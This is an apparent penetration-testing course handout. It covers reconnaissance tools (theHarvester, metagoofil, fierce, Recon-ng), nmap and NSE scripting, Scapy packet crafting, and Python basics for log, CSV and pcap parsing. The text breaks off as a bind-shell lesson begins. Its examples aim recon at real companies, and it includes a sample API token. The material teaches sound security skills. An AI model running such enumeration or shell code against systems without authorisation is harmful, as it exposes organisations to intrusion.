1. scripting_for_infosec
##################################
# Scripting For InfoSec Pros #
##################################
##########
# VMWare #
##########
- Although you can get the VM to run in VirtualBox, I will not be supporting this
configuration for this class.
########################################
# You can also boot up the Win7 as well#
########################################
- I prefer to use Putty to SSH into my Ubuntu host on pentests and I'll be teaching
this class in the same manner that I do pentests.
- You can download Putty from here:
- http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
- For the purpose of this workshop 192.168.230.128 is my Ubuntu IP address so
anytime you see that IP you'll know that's my Ubuntu host
Email Harvesting
----------------
cd ~/toolz/
rm -rf theharvester-read-only/
sudo apt install -y python-pyasn1 python-pyasn1-modules git vim nmap openssh-server
proxychains git-core curl zlib1g-dev build-essential libssl-dev libreadline-dev
libyaml-dev libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev libcurl4-openssl-dev
python-software-properties libffi-dev
pip install requests
git clone https://github.com/laramies/theHarvester.git
cd theHarvester/
Page 1
2. scripting_for_infosec
python theHarvester.py
python theHarvester.py -d motorola.com -l 50 -b google
python theHarvester.py -d motorola.com -l 50 -b bing
python theHarvester.py -d motorola.com -l 50 -b linkedin
python theHarvester.py -d motorola.com -l 50 -b pgp
File Meta-Data Harvesting
-------------------------
cd ~/toolz/
sudo apt-get install -y python-pip
pip install --upgrade pip
pip install google
git clone https://github.com/opsdisk/metagoofil.git
cd metagoofil/
python metagoofil.py -d motorola.com -t doc,pdf -l 100 -n 3 -o motorolafiles
sudo apt install libimage-exiftool-perl
cd motorolafiles
exiftool -r *.doc | egrep -i "Author|Creator|Email|Producer|Template" | sort -u
python metagoofil.py -d [domain name] -t doc,pdf -l 100 -n 3 -o motorolafiles
Whereas:
-d : I used another domain name aside from Google.com to make it work
-t : I asked for the program to search two types of public documents whuch are doc
Page 2
3. scripting_for_infosec
and pdf files
-l : I limited the search result to 100 to make the process faster
-n : I limited the downloads (files that are going to be downloaded to get their
metadatas extracted) to only 3 to make the process faster
-o : I directed the result of the compilation t motorolafiles, which is a file
located inside the metagoofil directory (~/toolz/metagoofil/motorolafiles)
-f : Save the html links to html_links_<TIMESTAMP>.txt file
Github Info Harvesting
----------------------
cd ~/toolz/
sudo pip install gitem
gitem organization facebook
gitem repository facebook react
gitem --processes 4 user zpao
You'll probably get a message that says "Your API requests are being rate-limited"
You can create an Oauth token using the link below:
Reference:
https://help.github.com/articles/creating-an-access-token-for-command-line-use/
gitem -o 123f45672972c18ea0f42fc70bc8c5172b96d890 --processes 4 user zpao
You'll have to use your own Oauth token
Network Topology Enumeration
----------------------------
cd ~/toolz/
Page 3
4. scripting_for_infosec
wget https://raw.githubusercontent.com/leonteale/pentestpackage/master/gxfr.py
python gxfr.py --bxfr --dns-lookup -o
motorola.com
[ press enter ]
cw1kxyUgMdkECBNMb1fGqKJ9sC1lznaR20fPJeIt45Y=
cd ~/toolz/
wget https://dl.packetstormsecurity.net/UNIX/scanners/blindcrawl.pl
chmod +x blindcrawl.pl
perl blindcrawl.pl -d motorola.com
rm -rf fierce2/
git clone https://github.com/mschwager/fierce.git
cd fierce
sudo apt-get install -y python3-pip
sudo pip3 install -r requirements.txt
python3 fierce.py -h
python3 fierce.py --domain motorola.com --subdomains accounts admin ads
Traverse IPs near discovered domains to search for contiguous blocks with the
--traverse flag:
python3 fierce.py --domain facebook.com --subdomains admin --traverse 10
Limit nearby IP traversal to certain domains with the --search flag:
python3 fierce.py --domain facebook.com --subdomains admin --search fb.com fb.net
Attempt an HTTP connection on domains discovered with the --connect flag:
python3 fierce.py --domain stackoverflow.com --subdomains mail --connect
Page 4
5. scripting_for_infosec
Another good way to find servers
--------------------------------
cd ~/toolz
wget --no-check-certificate
https://raw.githubusercontent.com/BenDrysdale/ipcrawl/master/ipcrawl.c
gcc ipcrawl.c -o ipcrawl
chmod 777 ipcrawl
./ipcrawl 148.87.1.1 148.87.1.254 (DNS forward lookup against an IP
range)
Check for Load Balancers
------------------------
Here are some command-line options to use for identifying load balancers:
dig microsoft.com
cd ~/toolz
wget https://raw.githubusercontent.com/craig/ge.mine.nu/master/lbd/lbd.sh
chmod +x lbd.sh
./lbd.sh microsoft.com
git clone https://github.com/jmbr/halberd.git
cd halberd
sudo python setup.py install
halberd microsoft.com
halberd motorola.com
halberd oracle.com
Test for Web Application Firewalls (WAFs)
-----------------------------------------
pip install wafw00f
Page 5
6. scripting_for_infosec
wafw00f http://oracle.com
sudo nmap -p 80 --script http-waf-detect.nse
sudo nmap -p 80 --script http-waf-detect.nse oracle.com
Recon-NG (Metasploit for Recon):
--------------------------------
cd ~/toolz/
sudo apt-get install -y git python-pip python-dnspython python-mechanize
python-slowaes python-xlsxwriter python-jsonrpclib python-lxml
sudo pip install dicttoxml
git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git
cd recon-ng
pip install PyPDF2
sudo pip install olefile
./recon-ng
At the prompt, let's type help in order to look at the commands we can use in
Recon-ng.
recon-ng > help
Note that many of these commands are nearly identical to Metasploit including back,
set, use, search, show, and unset.
recon-ng > [ TAB ] [ TAB ]
Page 6
7. scripting_for_infosec
To see all the modules in Recon-ng, we can type:
recon-ng > show [ TAB ] [ TAB ]
Ok, let's drive this thing....
recon-ng > show banner
recon-ng > show companies
recon-ng > show contacts
recon-ng > show credentials
recon-ng > show dashboard
recon-ng > show domains
recon-ng > show hosts
recon-ng > show keys
recon-ng > show leaks
recon-ng > show locations
recon-ng > show modules
recon-ng > show netblocks
recon-ng > show options
recon-ng > show ports
recon-ng > show profiles
recon-ng > show pushpins
recon-ng > show repositories
recon-ng > show schema
recon-ng > show vulnerabilities
Page 7
8. scripting_for_infosec
recon-ng > show workspaces
When you have found a module that you would like to try the process is fairly
straight forward.
Type, “use [Modulename]” to use the module
Type, “show info” to view information about the module
And then, “show options” to see what variables can be set
Set the option variables with “set [variable]”
Finally, type “run” to execute the module
********************************** Begin Day 1 Homework Part 1
**********************************
NOTE: Take screenshots of your performing all of the commands we've learned so far
You must create a MS WORD document titled
'Scripting-For-InfoSec-Day1-Basic-Linux-Pentest-Commands.docx' (ex:
JScripting-For-InfoSec-Day1-Basic-Linux-Pentest-Commands.docx).
You must spell you name EXACTLY as you want it spelled on your class certificate.
IMPORTANT NOTE:
********************************** End Day 1 Homework Part 1
**********************************
********************************** Begin Day 1 Homework Part 2
**********************************
NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
You must take screenshots of the process of you registering at least 5 API keys, as
well as screenshots of you using at least 10 Recon-NG modules against a target
company.
Page 8
9. scripting_for_infosec
You must spell you name EXACTLY as you want it spelled on your class certificate.
Reference links:
http://null-byte.wonderhowto.com/how-to/hack-like-pro-reconnaissance-with-recon-ng-p
art-1-getting-started-0169854/
http://resources.infosecinstitute.com/basic-updated-guide-to-recon-ng-plus-new-modul
es-rundown/
IMPORTANT NOTE:
Your homework must be submitted via email to both
********************************** End Day 1 Homework Part 2
**********************************
########################
# Scanning Methodology #
########################
- Ping Sweep
What's alive?
------------
sudo nmap -sP 157.166.226.*
-if -SP yields no results try:
sudo nmap -sL 157.166.226.*
- Port Scan
What's where?
------------
sudo nmap -sS 162.243.126.247
- Bannergrab/Version Query
What versions of software are running
-------------------------------------
sudo nmap -sV 162.243.126.247
- Vulnerability Research
Page 9
10. scripting_for_infosec
Lookup the banner versions for public exploits
----------------------------------------------
http://exploit-db.com
http://securityfocus.com/bid
https://packetstormsecurity.com/files/tags/exploit/
#######################################################
# Day 1: 3rd Party Scanning, and scanning via proxies #
#######################################################
https://www.shodan.io/
Create a FREE account and login
net:129.188.8.0/24
perl proxyfinder-0.3.pl multiproxy 3 proxies.txt <-- This takes a long time to
run
sudo vi /etc/proxychains.conf <--- Make sure that last line of the
file is: socks4 127.0.0.1 9050
----------------------------------------------------------------------
vi ~/toolz/fix-proxychains-dns.sh
#!/bin/bash
# This script is called by proxychains to resolve DNS names
# DNS server used to resolve names
# Reference:
http://carnal0wnage.attackresearch.com/2013/09/changing-proxychains-hardcoded-dns.ht
ml
DNS_SERVER=4.2.2.2
if [ $# = 0 ] ; then
echo " usage:"
echo " proxyresolv <hostname> "
exit
Page 10
12. scripting_for_infosec
https://thesprawl.org/research/writing-nse-scripts-for-vulnerability-scanning/
----------------------------------------------------------------------
sudo vi /usr/share/nmap/scripts/intro-nse.nse
-- The Head Section --
-- The Rule Section --
portrule = function(host, port)
return port.protocol == "tcp"
and port.number == 80
and port.state == "open"
end
-- The Action Section --
action = function(host, port)
return "I love Linux!"
end
----------------------------------------------------------------------
- Ok, now that we've made that change let's run the script
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse p 22,80,443
----------------------------------------------------------------------
sudo vi /usr/share/nmap/scripts/intro-nse.nse
-- The Head Section --
local shortport = require "shortport"
-- The Rule Section --
portrule = shortport.http
-- The Action Section --
action = function(host, port)
return "I still love Linux!"
end
----------------------------------------------------------------------
- Ok, now that we've made that change let's run the script
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse
Page 12
13. scripting_for_infosec
OK, now let's have some fun with my buddy Carlos Perez's website which you should
have been looking at quite a lot if you were trying to get Ruby 2.1.5 working.
----------------------------------------------------------------------
sudo vi /usr/share/nmap/scripts/intro-nse.nse
-- The Head Section --
local shortport = require "shortport"
local http = require "http"
-- The Rule Section --
portrule = shortport.http
-- The Action Section --
action = function(host, port)
local uri = "/installing-metasploit-in-ubunt/"
local response = http.get(host, port, uri)
return response.status
end
----------------------------------------------------------------------
- Ok, now that we've made that change let's run the script
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p
22,80,443
----------------------------------------------------------------------
sudo vi /usr/share/nmap/scripts/intro-nse.nse
-- The Head Section --
local shortport = require "shortport"
local http = require "http"
-- The Rule Section --
portrule = shortport.http
-- The Action Section --
action = function(host, port)
Page 13
14. scripting_for_infosec
local uri = "/installing-metasploit-in-ubunt/"
local response = http.get(host, port, uri)
if ( response.status == 200 ) then
return response.body
end
end
----------------------------------------------------------------------
- Ok, now that we've made that change let's run the script
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p
22,80,443
----------------------------------------------------------------------
sudo vi /usr/share/nmap/scripts/intro-nse.nse
-- The Head Section --
local shortport = require "shortport"
local http = require "http"
local string = require "string"
-- The Rule Section --
portrule = shortport.http
-- The Action Section --
action = function(host, port)
local uri = "/installing-metasploit-in-ubunt/"
local response = http.get(host, port, uri)
if ( response.status == 200 ) then
local title = string.match(response.body, "Installing Metasploit in Ubuntu
and Debian")
return title
end
end
----------------------------------------------------------------------
Page 14
15. scripting_for_infosec
- Ok, now that we've made that change let's run the script
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p
22,80,443
----------------------------------------------------------------------
sudo vi /usr/share/nmap/scripts/intro-nse.nse
-- The Head Section --
local shortport = require "shortport"
local http = require "http"
local string = require "string"
-- The Rule Section --
portrule = shortport.http
-- The Action Section --
action = function(host, port)
local uri = "/installing-metasploit-in-ubunt/"
local response = http.get(host, port, uri)
if ( response.status == 200 ) then
local title = string.match(response.body, "Installing Metasploit in Ubuntu
and Debian")
if (title) then
return "Vulnerable"
else
return "Not Vulnerable"
end
end
end
----------------------------------------------------------------------
- Ok, now that we've made that change let's run the script
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p
22,80,443
Page 15
16. scripting_for_infosec
####################
# Installing Scapy #
####################
sudo apt-get update
sudo apt-get install python-scapy python-pyx python-gnuplot python-pycryptopp
python-pycryptopp-dbg python-crypto python-crypto-dbg python-cryptography
- Reference Page For All Of The Commands We Will Be Running:
http://samsclass.info/124/proj11/proj17-scapy.html
- To run Scapy interactively
sudo scapy
#####################################
# Sending ICMPv4 Packets with scapy #
#####################################
- In the Linux machine, in the Terminal window, at the >>> prompt, type this
command, and then press the Enter key:
i = IP()
- This creates an object named i of type IP. To see the properties of that object,
use the display() method with this command:
i.display()
- Use these commands to set the destination IP address and display the properties of
the i object again. Replace the IP address in the first command with the IP address
of your target Windows machine:
i.dst="192.168.54.184"
Page 16
17. scripting_for_infosec
i.display()
- Notice that scapy automatically fills in your machine's source IP address.
- Use these commands to create an object named ic of type ICMP and display its
properties:
ic = ICMP()
ic.display()
- Use this command to send the packet onto the network and listen to a single packet
in response. Note that the third character is the numeral 1, not a lowercase L:
sr1(i/ic)
- This command sends and receives one packet, of type IP at layer 3 and ICMP at
layer 4.
- The Padding section shows the portion of the packet that carries higher-level
data. In this case it contains only zeroes as padding.
- Use this command to send a packet that is IP at layer 3, ICMP at layer 4, and that
contains data with your name in it (replace YOUR NAME with your own name):
sr1(i/ic/"YOUR NAME")
- You should see a reply with a Raw section containing your name.
###################################
# Sending a UDP Packet with Scapy #
Page 17
18. scripting_for_infosec
###################################
- Preparing the Target
$ ncat -ulvp 4444
--open another terminal--
In the Linux machine, in the Terminal window, at the >>> prompt, type these
commands, and then press the Enter key:
u = UDP()
u.display()
- This creates an object named u of type UDP, and displays its properties.
- Execute these commands to change the destination port to 4444 and display the
properties again:
i.dst="192.168.54.184" <--- replace this with a
host that you can run netcat on (ex: another VM or your host computer)
u.dport = 4444
u.display()
- Execute this command to send the packet to the Windows machine:
send(i/u/"YOUR NAME SENT VIA UDPn")
- On the Windows target, you should see the message appear
p = sr1(IP(dst="8.8.8.8")/UDP()/DNS(rd=1,qd=DNSQR(qname=
p=sr(IP(dst="192.168.230.2")/TCP(dport=[23,80,53,443]))
p=sr(IP(dst="192.168.230.2")/TCP(dport=[80]))
Page 18
19. scripting_for_infosec
traceroute ([""], maxttl=20)
This is actually an ICMP & TCP traceroute, default destination is port 80
traceroute ([""], dport=443, maxttl=20)
############################
# Ping Sweeping with Scapy #
############################
----------------------------------------------------------------------
vi scapy-pingsweep.py
#!/usr/bin/python
from scapy.all import *
TIMEOUT = 2
conf.verb = 0
for ip in range(0, 256):
packet = IP(dst="192.168.1." + str(ip), ttl=20)/ICMP()
reply = sr1(packet, timeout=TIMEOUT)
if not (reply is None):
print reply.dst, "is online"
else:
print "Timeout waiting for %s" % packet[IP].dst
----------------------------------------------------------------------
###############################################
# Checking out some scapy based port scanners #
###############################################
cat rdp_scan.py
sudo python rdp_scan.py 192.168.1.250
####################
# Installing Python#
####################
Windows
32-Bit Version
Page 19
20. scripting_for_infosec
http://www.python.org/ftp/python/2.7.5/python-2.7.5.msi
64-Bit Version
http://www.python.org/ftp/python/2.7.5/python-2.7.5.amd64.msi
After you install Python in Windows the next thing you may want to install is IdleX:
http://idlex.sourceforge.net/features.html
Linux
Debian/Ubuntu: sudo apt-get install -y python
RHEL/CentOS/Fedora: sudo yum install -y python
After you install Python in Linux the next thing that you will need to do is install
idle.
sudo apt-get install -y idle
Open IDLE, and let's just dive right in.
#############################
# Lesson 1: Simple Printing #
#############################
>>> print "Today we are learning Python."
#####################################
# Lesson 2: Simple Numbers and Math #
#####################################
>>> 2+2
>>> 6-3
>>> 18/7
>>> 18.0/7
>>> 18.0/7.0
Page 20
22. scripting_for_infosec
###################################
# Lesson 4: Modules and Functions #
###################################
>>> 5**4
>>> pow(5,4)
>>> abs(-18)
>>> abs(5)
>>> floor(18.7)
>>> import math
>>> math.floor(18.7)
>>> math.sqrt(81)
##################################
# Lesson 5: How to Save Programs #
##################################
Run "IDLE (Python GUI)"
File -> New Window
print "Python for InfoSec"
File -> Save as
py4InfoSec.py
Run -> Run Module or Press "F5"
Page 22
23. scripting_for_infosec
Create a file name.py
x = raw_input("Enter name: ")
print "Hey " + x
raw_input("Press<enter>")
Run -> Run Module or Press "F5"
#####################
# Lesson 6: Strings #
#####################
>>> "XSS"
>>> 'SQLi'
>>> a, b
>>> a+b
##########################
# Lesson 7: More Strings #
##########################
>>> num = 10
>>> num + 2
>>> "The number of open ports found on this system is " + num
>>> num = str(18)
Page 23
24. scripting_for_infosec
>>> "There are " + num + " vulnerabilities found in this environment."
>>> num2 = 46
>>> "As of 08/20/2012, the number of states that enacted the Security Breach
Notification Law is " + `num2`
#######################
# Lesson 8: Raw Input #
#######################
Run "IDLE (Python GUI)"
File -> New Window
Run -> Run Module # Will throw an error
or
Press "F5"
File -> New Window
j
Run -> Run Module # Will throw an error
or
Press "F5"
NOTE:
Use "input() for integers and expressions, and use raw_input() when you are dealing
with strings.
Page 24
25. scripting_for_infosec
#################################
# Lesson 9: Sequences and Lists #
#################################
>>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL
Injection', 'Cross-Site Scripting', 'Remote File Include']
>>> attacks
['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site
Scripting', 'Remote File Include']
>>> attacks[3]
'SQL Injection'
>>> attacks[-2]
'Cross-Site Scripting'
##########################
# Level 10: If Statement #
##########################
Run "IDLE (Python GUI)"
File -> New Window
attack="SQLI"
if attack=="SQLI":
print 'The attacker is using SQLI'
Run -> Run Module or Press "F5"
File >> New Window
attack="XSS"
if attack=="SQLI":
print 'The attacker is using SQLI'
Run -> Run Module or Press "F5"
#############################
Page 25
26. scripting_for_infosec
# Reference Videos To Watch #
#
####################################
# Lesson 11: Intro to Log Analysis #
####################################
NOTE: If you are still in your python interpreter then you must type exit() to get
back to a regular command-prompt.
wget https://
cat access_log | grep 141.101.80.188
cat access_log | grep 141.101.80.187
cat access_log | grep 108.162.216.204
cat access_log | grep 173.245.53.160
---------------------------------------------------------
Google the following terms:
- Python read file
- Python read line
- Python read from file
########################################################
# Lesson 12: Use Python to read in a file line by line #
########################################################
Reference:
http://cmdlinetips.com/2011/08/three-ways-to-read-a-text-file-line-by-line-in-python
/
---------------------------------------------------------
vi logread1.py
Page 26
27. scripting_for_infosec
## Open the file with read only permit
f = open('access_log', "r")
## use readlines to read all lines in the file
## The variable "lines" is a list containing all lines
lines = f.readlines()
print lines
## close the file after reading the lines.
f.close()
---------------------------------------------------------
Google the following:
- python difference between readlines and readline
- python readlines and readline
################################
# Lesson 13: A quick challenge #
################################
Can you write an if/then statement that looks for this IP and print "Found it"?
141.101.81.187
---------------------------------------------------------
Hint 1: Use Python to look for a value in a list
Reference:
http://www.wellho.net/mouth/1789_Looking-for-a-value-in-a-list-Python.html
Page 27
28. scripting_for_infosec
---------------------------------------------------------
Hint 2: Use Python to prompt for user input
Reference:
http://www.cyberciti.biz/faq/python-raw_input-examples/
---------------------------------------------------------
Hint 3: Use Python to search for a string in a list
Reference:
http://stackoverflow.com/questions/4843158/check-if-a-python-list-item-contains-a-st
ring-inside-another-string
Here is my solution:
-------------------
$ python
>>> f = open('access_log', "r")
>>> lines = f.readlines()
>>> ip = '141.101.81.187'
>>> for string in lines:
... if ip in string:
... print(string)
Here is one student's solution - can you please explain each line of this code to
me?
------------------------------------------------------------------------------------
-
#!/usr/bin/python
f = open('access_log')
strUsrinput = raw_input("Enter IP Address: ")
for line in iter(f):
ip = line.split(" - ")[0]
if ip == strUsrinput:
print line
Page 28
29. scripting_for_infosec
f.close()
-------------------------------
Working with another student after class we came up with another solution:
#!/usr/bin/env python
# This line opens the log file
f=open('access_log',"r")
# This line takes each line in the log file and stores it as an element in the list
lines = f.readlines()
# This lines stores the IP that the user types as a var called userinput
userinput = raw_input("Enter the IP you want to search for: ")
# This combination for loop and nested if statement looks for the IP in the list
called lines and prints the entire line if found.
for ip in lines:
if ip.find(userinput) != -1:
print ip
##################################################
# Lession 14: Look for web attacks in a log file #
##################################################
In this lab we will be looking at the scan_log.py script and it will scan the server
log to find out common hack attempts within your web server log.
Supported attacks:
1. SQL Injection
2. Local File Inclusion
3. Remote File Inclusion
4. Cross-Site Scripting
Page 29
30. scripting_for_infosec
The usage for scan_log.py is simple. You feed it an apache log file.
cat scan_log.py | less (use your up/down arrow keys to look through
the file)
Explain to me how this script works.
################################
# Lesson 15: Parsing CSV Files #
################################
Dealing with csv files
Reference:
http://www.pythonforbeginners.com/systems-programming/using-the-csv-module-in-python
/
Type the following commands:
------------------------------------------------------------------------------------
---------------------
w
Example 1 - Reading CSV files
-----------------------------
#To be able to read csv formated files, we will first have to import the
#csv module.
import csv
with open('class_nessus.csv', 'rb') as f:
reader = csv.reader(f)
for row in reader:
print row
Example 2 - Reading CSV files
-----------------------------
vi readcsv.py
Page 30
31. scripting_for_infosec
#!/usr/bin/python
import csv # imports the csv module
import sys # imports the sys module
f = open(sys.argv[1], 'rb') # opens the csv file
try:
reader = csv.reader(f) # creates the reader object
for row in reader: # iterates the rows of the file in orders
print row # prints each row
finally:
f.close() # closing
Example 3 - - Reading CSV files
-------------------------------
vi readcsv2.py
#!/usr/bin/python
# This program will then read it and displays its contents.
import csv
ifile = open('class_nessus.csv', "rb")
reader = csv.reader(ifile)
rownum = 0
for row in reader:
# Save header row.
if rownum == 0:
header = row
else:
colnum = 0
for col in row:
print '%-8s: %s' % (header[colnum], col)
colnum += 1
rownum += 1
ifile.close()
Page 31
32. scripting_for_infosec
python readcsv2.py | less
/---------------------------------------------------/
--------------------PARSING CSV FILES----------------
/---------------------------------------------------/
-------------TASK 1------------
vi readcsv3.py
#!/usr/bin/python
import csv
f = open('class_nessus.csv', 'rb')
try:
rownum = 0
reader = csv.reader(f)
for row in reader:
#Save header row.
if rownum == 0:
header = row
else:
colnum = 0
if row[3].lower() == 'high':
print '%-1s: %s %-1s: %s %-1s: %s %-1s: %s' %
(header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6])
rownum += 1
finally:
f.close()
python readcsv3.py | less
-------------TASK 2------------
vi readcsv4.py
Page 32
33. scripting_for_infosec
#!/usr/bin/python
import csv
f = open('class_nessus.csv', 'rb')
try:
print '/---------------------------------------------------/'
rownum = 0
hosts = {}
reader = csv.reader(f)
for row in reader:
# Save header row.
if rownum == 0:
header = row
else:
colnum = 0
if row[3].lower() == 'high' and row[4] not in hosts:
hosts[row[4]] = row[4]
print '%-1s: %s %-1s: %s %-1s: %s %-1s: %s' %
(header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6])
rownum += 1
finally:
f.close()
python readcsv4.py | less
#################################################
# Lesson 16: Parsing Packets with Python's DPKT #
#################################################
The first thing that you will need to do is install dpkt.
sudo apt-get install -y python-dpkt
Page 33
34. scripting_for_infosec
Now cd to your courseware directory, and the cd into the subfolder
'2-PCAP-Parsing/Resources'.
Run tcpdump to capture a .pcap file that we will use for the next exercise
sudo tcpdump -ni eth0 -s0 -w quick.pcap
--open another command prompt--
wget http://packetlife.net/media/library/12/tcpdump.pdf
Let's do something simple:
vi quickpcap.py
--------------------------------------------------------
#!/usr/bin/python
import dpkt;
# Simple script to read the timestamps in a pcap file
# Reference:
http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-0-simple-example-how-to.html
f = open("quick.pcap","rb")
pcap = dpkt.pcap.Reader(f)
for ts, buf in pcap:
print ts;
f.close();
--------------------------------------------------------
Now let's run the script we just wrote
python quickpcap.py
How dpkt breaks down a packet:
Reference:
Page 34
35. scripting_for_infosec
http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-1-dpkt-sub-modules.html
src: the MAC address of SOURCE.
dst: The MAC address of DESTINATION
type: The protocol type of contained ethernet payload.
The allowed values are listed in the file "ethernet.py",
such as:
a) ETH_TYPE_IP: It means that the ethernet payload is IP layer data.
b) ETH_TYPE_IPX: Means that the ethernet payload is IPX layer data.
References:
http://stackoverflow.com/questions/6337878/parsing-pcap-files-with-dpkt-python
Ok - now let's have a look at pcapparsing.py
sudo tcpdump -ni eth0 -s0 -w capture-100.pcap
--open another command prompt--
wget http://packetlife.net/media/library/13/Wireshark_Display_Filters.pdf
Ok - now let's have a look at pcapparsing.py
--------------------------------------------------------
import socket
import dpkt
import sys
f = open('capture-100.pcap','r')
pcapReader = dpkt.pcap.Reader(f)
for ts,data in pcapReader:
ether = dpkt.ethernet.Ethernet(data)
if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
ip = ether.data
tcp = ip.data
src = socket.inet_ntoa(ip.src)
srcport = tcp.sport
dst = socket.inet_ntoa(ip.dst)
dstport = tcp.dport
Page 35
36. scripting_for_infosec
print "src: %s (port : %s)-> dest: %s (port %s)" % (src,srcport ,dst,dstport)
f.close()
--------------------------------------------------------
OK - let's run it:
python pcapparsing.py
running this script might throw an error like this:
Traceback (most recent call last):
File "pcapparsing.py", line 9, in <module>
if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
If it does it is just because your packet has something in it that we didn't specify
(maybe ICMP, or something)
Your homework for today...
Rewrite this pcapparsing.py so that it prints out the timestamp, the source and
destination IP addresses, and the source and destination ports.
Your challenge is to fix the Traceback error
#!/usr/bin/python
import pcapy
import dpkt
import sys
import socket
Page 36
39. scripting_for_infosec
--open another terminal--
python
>>> import socket
>>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> s.connect(('localhost', 1234))
>>> s.send('Hello, world')
>>> data = s.recv(1024)
>>> s.close()
>>> print 'Received', data
########################################
# Lesson 18: TCP Client and TCP Server #
########################################
vi tcpclient.py
#!/usr/bin/python
# tcpclient.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
hostport = ("127.0.0.1", 1337)
s.connect(hostport)
s.send("Hellon")
buf = s.recv(1024)
print "Received", buf
vi tcpserver.py
Page 39
40. scripting_for_infosec
#!/usr/bin/python
# tcpserver.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
hostport = ("", 1337)
s.bind(hostport)
s.listen(10)
while 1:
cli,addr = s.accept()
print "Connection from", addr
buf = cli.recv(1024)
print "Received", buf
if buf == "Hellon":
cli.send("Server ID 1n")
cli.close()
python tcpserver.py
--open another terminal--
python tcpclient.py
########################################
# Lesson 19: UDP Client and UDP Server #
########################################
vi udpclient.py
Page 40
41. scripting_for_infosec
#!/usr/bin/python
# udpclient.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
hostport = ("127.0.0.1", 1337)
s.sendto("Hellon", hostport)
buf = s.recv(1024)
print buf
vi udpserver.py
#!/usr/bin/python
# udpserver.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
hostport = ("127.0.0.1", 1337)
s.bind(hostport)
while 1:
buf, address = s.recvfrom(1024)
print buf
if buf == "Hellon":
s.sendto("Server ID 1n", address)
python udpserver.py
Page 41
42. scripting_for_infosec
--open another terminal--
python udpclient.py
###############################
# Lesson 20: Installing Scapy #
###############################
sudo apt-get update
sudo apt-get install python-scapy python-pyx python-gnuplot
Reference Page For All Of The Commands We Will Be Running:
http://samsclass.info/124/proj11/proj17-scapy.html
Great slides for Scapy:
http://www.secdev.org/conf/scapy_csw05.pdf
To run Scapy interactively
sudo scapy
################################################
# Lesson 21: Sending ICMPv4 Packets with scapy #
################################################
In the Linux machine, in the Terminal window, at the >>> prompt, type this command,
and then press the Enter key:
i = IP()
This creates an object named i of type IP. To see the properties of that object, use
the display() method with this command:
i.display()
Page 42
43. scripting_for_infosec
Use these commands to set the destination IP address and display the properties of
the i object again. Replace the IP address in the first command with the IP address
of your target Windows machine:
i.dst="10.65.75.49"
i.display()
Notice that scapy automatically fills in your machine's source IP address.
Use these commands to create an object named ic of type ICMP and display its
properties:
ic = ICMP()
ic.display()
Use this command to send the packet onto the network and listen to a single packet
in response. Note that the third character is the numeral 1, not a lowercase L:
sr1(i/ic)
This command sends and receives one packet, of type IP at layer 3 and ICMP at layer
4. As you can see in the image above, the response is shown, with ICMP type
echo-reply.
The Padding section shows the portion of the packet that carries higher-level data.
In this case it contains only zeroes as padding.
Use this command to send a packet that is IP at layer 3, ICMP at layer 4, and that
contains data with your name in it (replace YOUR NAME with your own name):
Page 43
44. scripting_for_infosec
sr1(i/ic/"YOUR NAME")
You should see a reply with a Raw section containing your name.
##############################################
# Lesson 22: Sending a UDP Packet with Scapy #
##############################################
Preparing the Target
$ ncat -ulvp 4444
--open another terminal--
In the Linux machine, in the Terminal window, at the >>> prompt, type these
commands, and then press the Enter key:
u = UDP()
u.display()
This creates an object named u of type UDP, and displays its properties.
Execute these commands to change the destination port to 4444 and display the
properties again:
i.dst="10.10.2.97" <--- replace this with a host that
you can run netcat on (ex: another VM or your host computer)
u.dport = 4444
u.display()
Execute this command to send the packet to the Windows machine:
send(i/u/"YOUR NAME SENT VIA UDPn")
Page 44
45. scripting_for_infosec
On the Windows target, you should see the message appear
#######################################
# Lesson 23: Ping Sweeping with Scapy #
#######################################
#!/usr/bin/python
from scapy.all import *
TIMEOUT = 2
conf.verb = 0
for ip in range(0, 256):
packet = IP(dst="10.10.30." + str(ip), ttl=20)/ICMP()
# You will need to change 10.10.30 above this line to the subnet for your
network
reply = sr1(packet, timeout=TIMEOUT)
if not (reply is None):
print reply.dst, "is online"
else:
print "Timeout waiting for %s" % packet[IP].dst
###############################################
# Checking out some scapy based port scanners #
###############################################
wget https://s3.amazonaws.com/SecureNinja/Python/rdp_scan.py
cat rdp_scan.py
sudo python rdp_scan.py
######################################
# Dealing with conf.verb=0 NameError #
######################################
conf.verb = 0
NameError: name 'conf' is not defined
Fixing scapy - some scripts are written for the old version of scapy so you'll have
to change the following line from:
Page 45
46. scripting_for_infosec
from scapy import *
to
from scapy.all import *
Reference:
http://hexale.blogspot.com/2008/10/wifizoo-and-new-version-of-scapy.html
conf.verb=0 is a verbosity setting (configuration/verbosity = conv
Here are some good Scapy references:
http://www.secdev.org/projects/scapy/doc/index.html
http://resources.infosecinstitute.com/port-scanning-using-scapy/
http://www.hackerzvoice.net/ouah/blackmagic.txt
http://www.workrobot.com/sansfire2009/SCAPY-packet-crafting-reference.html
######################################
# Lesson 24: Bind and Reverse Shells #
######################################
vi simplebindshell.py
#!/bin/python
import os,sys,socket
ls = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
print '-Creating socket..'
port = 31337
try:
ls.bind(('', port))
